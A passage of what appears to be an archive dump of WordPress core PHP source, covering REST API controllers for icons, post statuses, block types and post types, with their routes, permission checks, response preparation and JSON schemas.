/** * Prepare a raw icon before it gets output in a REST API response. * * @since 7.0.0 * @since 7.1.0 Added the `collection` field. * * @param array $item Raw icon as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $keys = array( 'name' => 'name', 'label' => 'label', 'content' => 'content', 'collection' => 'collection', ); $data = array(); foreach ( $keys as $item_key => $rest_key ) { if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) { $data[ $rest_key ] = $item[ $item_key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the icon schema, conforming to JSON Schema. * * @since 7.0.0 * @since 7.1.0 Added the `collection` property. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'icon', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The icon name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'label' => array( 'description' => __( 'The icon label.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'content' => array( 'description' => __( 'The icon content (SVG markup).' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'collection' => array( 'description' => __( 'The slug of the collection this icon belongs to.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the icons collection. * * @since 7.0.0 * @since 7.1.0 Added the `collection` parameter. * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['collection'] = array( 'description' => __( 'Limit results to icons belonging to the given collection slug.' ), 'type' => 'string', 'pattern' => '^[a-z0-9]([a-z0-9_-]*[a-z0-9])?$', ); return $query_params; } } class-wp-rest-post-statuses-controller.php000064400000024105152506367270015015 0ustar00namespace = 'wp/v2'; $this->rest_base = 'statuses'; } /** * Registers the routes for post statuses. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'status' => array( 'description' => __( 'An alphanumeric identifier for the status.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read post statuses. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( 'edit' === $request['context'] ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( current_user_can( $type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to manage post statuses.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all post statuses, depending on user context. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $data = array(); $statuses = get_post_stati( array( 'internal' => false ), 'object' ); $statuses['trash'] = get_post_status_object( 'trash' ); foreach ( $statuses as $obj ) { $ret = $this->check_read_permission( $obj ); if ( ! $ret ) { continue; } $status = $this->prepare_item_for_response( $obj, $request ); $data[ $obj->name ] = $this->prepare_response_for_collection( $status ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a post status. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $status = get_post_status_object( $request['status'] ); if ( empty( $status ) ) { return new WP_Error( 'rest_status_invalid', __( 'Invalid status.' ), array( 'status' => 404 ) ); } $check = $this->check_read_permission( $status ); if ( ! $check ) { return new WP_Error( 'rest_cannot_read_status', __( 'Cannot view status.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks whether a given post status should be visible. * * @since 4.7.0 * * @param object $status Post status. * @return bool True if the post status is visible, otherwise false. */ protected function check_read_permission( $status ) { if ( true === $status->public ) { return true; } if ( false === $status->internal || 'trash' === $status->name ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( current_user_can( $type->cap->edit_posts ) ) { return true; } } } return false; } /** * Retrieves a specific post status. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $obj = get_post_status_object( $request['status'] ); if ( empty( $obj ) ) { return new WP_Error( 'rest_status_invalid', __( 'Invalid status.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $obj, $request ); return rest_ensure_response( $data ); } /** * Prepares a post status object for serialization. * * @since 4.7.0 * @since 5.9.0 Renamed `$status` to `$item` to match parent class for PHP 8 named parameter support. * * @param stdClass $item Post status data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Post status data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $status = $item; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'name', $fields, true ) ) { $data['name'] = $status->label; } if ( in_array( 'private', $fields, true ) ) { $data['private'] = (bool) $status->private; } if ( in_array( 'protected', $fields, true ) ) { $data['protected'] = (bool) $status->protected; } if ( in_array( 'public', $fields, true ) ) { $data['public'] = (bool) $status->public; } if ( in_array( 'queryable', $fields, true ) ) { $data['queryable'] = (bool) $status->publicly_queryable; } if ( in_array( 'show_in_list', $fields, true ) ) { $data['show_in_list'] = (bool) $status->show_in_admin_all_list; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $status->name; } if ( in_array( 'date_floating', $fields, true ) ) { $data['date_floating'] = $status->date_floating; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $rest_url = rest_url( rest_get_route_for_post_type_items( 'post' ) ); if ( 'publish' === $status->name ) { $response->add_link( 'archives', $rest_url ); } else { $response->add_link( 'archives', add_query_arg( 'status', $status->name, $rest_url ) ); } /** * Filters a post status returned from the REST API. * * Allows modification of the status data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param object $status The original post status object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_status', $response, $status, $request ); } /** * Retrieves the post status' schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'status', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The title for the status.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'private' => array( 'description' => __( 'Whether posts with this status should be private.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'protected' => array( 'description' => __( 'Whether posts with this status should be protected.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'public' => array( 'description' => __( 'Whether posts of this status should be shown in the front end of the site.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'queryable' => array( 'description' => __( 'Whether posts with this status should be publicly-queryable.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'show_in_list' => array( 'description' => __( 'Whether to include posts in the edit listing for their post type.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the status.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'date_floating' => array( 'description' => __( 'Whether posts of this status may have floating published dates.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } class-wp-rest-block-types-controller.php000064400000064375152506367270014430 0ustar00namespace = 'wp/v2'; $this->rest_base = 'block-types'; $this->block_registry = WP_Block_Type_Registry::get_instance(); $this->style_registry = WP_Block_Styles_Registry::get_instance(); } /** * Registers the routes for block types. * * @since 5.5.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9_-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9_-]+)/(?P[a-zA-Z0-9_-]+)', array( 'args' => array( 'name' => array( 'description' => __( 'Block name.' ), 'type' => 'string', ), 'namespace' => array( 'description' => __( 'Block namespace.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read post block types. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { return $this->check_read_permission(); } /** * Retrieves all post block types, depending on user context. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $data = array(); $block_types = $this->block_registry->get_all_registered(); // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); $namespace = ''; if ( isset( $registered['namespace'] ) && ! empty( $request['namespace'] ) ) { $namespace = $request['namespace']; } foreach ( $block_types as $obj ) { if ( $namespace ) { list ( $block_namespace ) = explode( '/', $obj->name ); if ( $namespace !== $block_namespace ) { continue; } } $block_type = $this->prepare_item_for_response( $obj, $request ); $data[] = $this->prepare_response_for_collection( $block_type ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a block type. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->check_read_permission(); if ( is_wp_error( $check ) ) { return $check; } $block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] ); $block_type = $this->get_block( $block_name ); if ( is_wp_error( $block_type ) ) { return $block_type; } return true; } /** * Checks whether a given block type should be visible. * * @since 5.5.0 * * @return true|WP_Error True if the block type is visible, WP_Error otherwise. */ protected function check_read_permission() { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_block_type_cannot_view', __( 'Sorry, you are not allowed to manage block types.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Get the block, if the name is valid. * * @since 5.5.0 * * @param string $name Block name. * @return WP_Block_Type|WP_Error Block type object if name is valid, WP_Error otherwise. */ protected function get_block( $name ) { $block_type = $this->block_registry->get_registered( $name ); if ( empty( $block_type ) ) { return new WP_Error( 'rest_block_type_invalid', __( 'Invalid block type.' ), array( 'status' => 404 ) ); } return $block_type; } /** * Retrieves a specific block type. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] ); $block_type = $this->get_block( $block_name ); if ( is_wp_error( $block_type ) ) { return $block_type; } $data = $this->prepare_item_for_response( $block_type, $request ); return rest_ensure_response( $data ); } /** * Prepares a block type object for serialization. * * @since 5.5.0 * @since 5.9.0 Renamed `$block_type` to `$item` to match parent class for PHP 8 named parameter support. * @since 6.3.0 Added `selectors` field. * @since 6.5.0 Added `view_script_module_ids` field. * * @param WP_Block_Type $item Block type data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Block type data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $block_type = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php */ return apply_filters( 'rest_prepare_block_type', new WP_REST_Response( array() ), $block_type, $request ); } $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'attributes', $fields ) ) { $data['attributes'] = $block_type->get_attributes(); } if ( rest_is_field_included( 'is_dynamic', $fields ) ) { $data['is_dynamic'] = $block_type->is_dynamic(); } $schema = $this->get_item_schema(); // Fields deprecated in WordPress 6.1, but left in the schema for backwards compatibility. $deprecated_fields = array( 'editor_script', 'script', 'view_script', 'editor_style', 'style', ); $extra_fields = array_merge( array( 'api_version', 'name', 'title', 'description', 'icon', 'category', 'keywords', 'parent', 'ancestor', 'allowed_blocks', 'provides_context', 'uses_context', 'selectors', 'supports', 'styles', 'textdomain', 'example', 'editor_script_handles', 'script_handles', 'view_script_handles', 'view_script_module_ids', 'editor_style_handles', 'style_handles', 'view_style_handles', 'variations', 'block_hooks', ), $deprecated_fields ); foreach ( $extra_fields as $extra_field ) { if ( rest_is_field_included( $extra_field, $fields ) ) { if ( isset( $block_type->$extra_field ) ) { $field = $block_type->$extra_field; if ( in_array( $extra_field, $deprecated_fields, true ) && is_array( $field ) ) { // Since the schema only allows strings or null (but no arrays), we return the first array item. $field = ! empty( $field ) ? array_shift( $field ) : ''; } } elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) { $field = $schema['properties'][ $extra_field ]['default']; } else { $field = ''; } $data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] ); } } if ( rest_is_field_included( 'styles', $fields ) ) { $styles = $this->style_registry->get_registered_styles_for_block( $block_type->name ); $styles = array_values( $styles ); $data['styles'] = wp_parse_args( $styles, $data['styles'] ); $data['styles'] = array_filter( $data['styles'] ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $block_type ) ); } /** * Filters a block type returned from the REST API. * * Allows modification of the block type data right before it is returned. * * @since 5.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Block_Type $block_type The original block type object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_block_type', $response, $block_type, $request ); } /** * Prepares links for the request. * * @since 5.5.0 * * @param WP_Block_Type $block_type Block type data. * @return array Links for the given block type. */ protected function prepare_links( $block_type ) { list( $namespace ) = explode( '/', $block_type->name ); $links = array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $block_type->name ) ), ), 'up' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $namespace ) ), ), ); if ( $block_type->is_dynamic() ) { $links['https://api.w.org/render-block'] = array( 'href' => add_query_arg( 'context', 'edit', rest_url( sprintf( '%s/%s/%s', 'wp/v2', 'block-renderer', $block_type->name ) ) ), ); } return $links; } /** * Retrieves the block type' schema, conforming to JSON Schema. * * @since 5.5.0 * @since 6.3.0 Added `selectors` field. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } // rest_validate_value_from_schema doesn't understand $refs, pull out reused definitions for readability. $inner_blocks_definition = array( 'description' => __( 'The list of inner blocks used in the example.' ), 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The name of the inner block.' ), 'type' => 'string', 'pattern' => self::NAME_PATTERN, 'required' => true, ), 'attributes' => array( 'description' => __( 'The attributes of the inner block.' ), 'type' => 'object', ), 'innerBlocks' => array( 'description' => __( "A list of the inner block's own inner blocks. This is a recursive definition following the parent innerBlocks schema." ), 'type' => 'array', ), ), ), ); $example_definition = array( 'description' => __( 'Block example.' ), 'type' => array( 'object', 'null' ), 'default' => null, 'properties' => array( 'attributes' => array( 'description' => __( 'The attributes used in the example.' ), 'type' => 'object', ), 'innerBlocks' => $inner_blocks_definition, ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $keywords_definition = array( 'description' => __( 'Block keywords.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $icon_definition = array( 'description' => __( 'Icon of block type.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $category_definition = array( 'description' => __( 'Block category.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-type', 'type' => 'object', 'properties' => array( 'api_version' => array( 'description' => __( 'Version of block API.' ), 'type' => 'integer', 'default' => 1, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'title' => array( 'description' => __( 'Title of block type.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'Unique name identifying the block type.' ), 'type' => 'string', 'pattern' => self::NAME_PATTERN, 'required' => true, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of block type.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'icon' => $icon_definition, 'attributes' => array( 'description' => __( 'Block attributes.' ), 'type' => array( 'object', 'null' ), 'properties' => array(), 'default' => null, 'additionalProperties' => array( 'type' => 'object', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'provides_context' => array( 'description' => __( 'Context provided by blocks of this type.' ), 'type' => 'object', 'properties' => array(), 'additionalProperties' => array( 'type' => 'string', ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'uses_context' => array( 'description' => __( 'Context values inherited by blocks of this type.' ), 'type' => 'array', 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'selectors' => array( 'description' => __( 'Custom CSS selectors.' ), 'type' => 'object', 'default' => array(), 'properties' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'supports' => array( 'description' => __( 'Block supports.' ), 'type' => 'object', 'default' => array(), 'properties' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'category' => $category_definition, 'is_dynamic' => array( 'description' => __( 'Is the block dynamically rendered.' ), 'type' => 'boolean', 'default' => false, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'editor_script_handles' => array( 'description' => __( 'Editor script handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'script_handles' => array( 'description' => __( 'Public facing and editor script handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'view_script_handles' => array( 'description' => __( 'Public facing script handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'view_script_module_ids' => array( 'description' => __( 'Public facing script module IDs.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'editor_style_handles' => array( 'description' => __( 'Editor style handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'style_handles' => array( 'description' => __( 'Public facing and editor style handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'view_style_handles' => array( 'description' => __( 'Public facing style handles.' ), 'type' => array( 'array' ), 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'styles' => array( 'description' => __( 'Block style variations.' ), 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'Unique name identifying the style.' ), 'type' => 'string', 'required' => true, ), 'label' => array( 'description' => __( 'The human-readable label for the style.' ), 'type' => 'string', ), 'inline_style' => array( 'description' => __( 'Inline CSS code that registers the CSS class required for the style.' ), 'type' => 'string', ), 'style_handle' => array( 'description' => __( 'Contains the handle that defines the block style.' ), 'type' => 'string', ), ), ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'variations' => array( 'description' => __( 'Block variations.' ), 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The unique and machine-readable name.' ), 'type' => 'string', 'required' => true, ), 'title' => array( 'description' => __( 'A human-readable variation title.' ), 'type' => 'string', 'required' => true, ), 'description' => array( 'description' => __( 'A detailed variation description.' ), 'type' => 'string', 'required' => false, ), 'category' => $category_definition, 'icon' => $icon_definition, 'isDefault' => array( 'description' => __( 'Indicates whether the current variation is the default one.' ), 'type' => 'boolean', 'required' => false, 'default' => false, ), 'attributes' => array( 'description' => __( 'The initial values for attributes.' ), 'type' => 'object', ), 'innerBlocks' => $inner_blocks_definition, 'example' => $example_definition, 'scope' => array( 'description' => __( 'The list of scopes where the variation is applicable. When not provided, it assumes all available scopes.' ), 'type' => array( 'array', 'null' ), 'default' => null, 'items' => array( 'type' => 'string', 'enum' => array( 'block', 'inserter', 'transform' ), ), 'readonly' => true, ), 'keywords' => $keywords_definition, ), ), 'readonly' => true, 'context' => array( 'embed', 'view', 'edit' ), 'default' => null, ), 'textdomain' => array( 'description' => __( 'Public text domain.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'parent' => array( 'description' => __( 'Parent blocks.' ), 'type' => array( 'array', 'null' ), 'items' => array( 'type' => 'string', 'pattern' => self::NAME_PATTERN, ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'ancestor' => array( 'description' => __( 'Ancestor blocks.' ), 'type' => array( 'array', 'null' ), 'items' => array( 'type' => 'string', 'pattern' => self::NAME_PATTERN, ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'allowed_blocks' => array( 'description' => __( 'Allowed child block types.' ), 'type' => array( 'array', 'null' ), 'items' => array( 'type' => 'string', 'pattern' => self::NAME_PATTERN, ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'keywords' => $keywords_definition, 'example' => $example_definition, 'block_hooks' => array( 'description' => __( 'This block is automatically inserted near any occurrence of the block types used as keys of this map, into a relative position given by the corresponding value.' ), 'type' => 'object', 'patternProperties' => array( self::NAME_PATTERN => array( 'type' => 'string', 'enum' => array( 'before', 'after', 'first_child', 'last_child' ), ), ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), ), ); // Properties deprecated in WordPress 6.1, but left in the schema for backwards compatibility. $deprecated_properties = array( 'editor_script' => array( 'description' => __( 'Editor script handle. DEPRECATED: Use `editor_script_handles` instead.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'script' => array( 'description' => __( 'Public facing and editor script handle. DEPRECATED: Use `script_handles` instead.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'view_script' => array( 'description' => __( 'Public facing script handle. DEPRECATED: Use `view_script_handles` instead.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'editor_style' => array( 'description' => __( 'Editor style handle. DEPRECATED: Use `editor_style_handles` instead.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'style' => array( 'description' => __( 'Public facing and editor style handle. DEPRECATED: Use `style_handles` instead.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), ); $this->schema['properties'] = array_merge( $this->schema['properties'], $deprecated_properties ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 5.5.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'namespace' => array( 'description' => __( 'Block namespace.' ), 'type' => 'string', ), ); } } class-wp-rest-post-types-controller.php000064400000033713152506367270014313 0ustar00namespace = 'wp/v2'; $this->rest_base = 'types'; } /** * Registers the routes for post types. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'type' => array( 'description' => __( 'An alphanumeric identifier for the post type.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => '__return_true', 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read types. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( 'edit' === $request['context'] ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( current_user_can( $type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all public post types. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $data = array(); $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( 'edit' === $request['context'] && ! current_user_can( $type->cap->edit_posts ) ) { continue; } $post_type = $this->prepare_item_for_response( $type, $request ); $data[ $type->name ] = $this->prepare_response_for_collection( $post_type ); } return rest_ensure_response( $data ); } /** * Retrieves a specific post type. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $obj = get_post_type_object( $request['type'] ); if ( empty( $obj ) ) { return new WP_Error( 'rest_type_invalid', __( 'Invalid post type.' ), array( 'status' => 404 ) ); } if ( empty( $obj->show_in_rest ) ) { return new WP_Error( 'rest_cannot_read_type', __( 'Cannot view post type.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) ); } $data = $this->prepare_item_for_response( $obj, $request ); return rest_ensure_response( $data ); } /** * Prepares a post type object for serialization. * * @since 4.7.0 * @since 5.9.0 Renamed `$post_type` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post_Type $item Post type object. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // 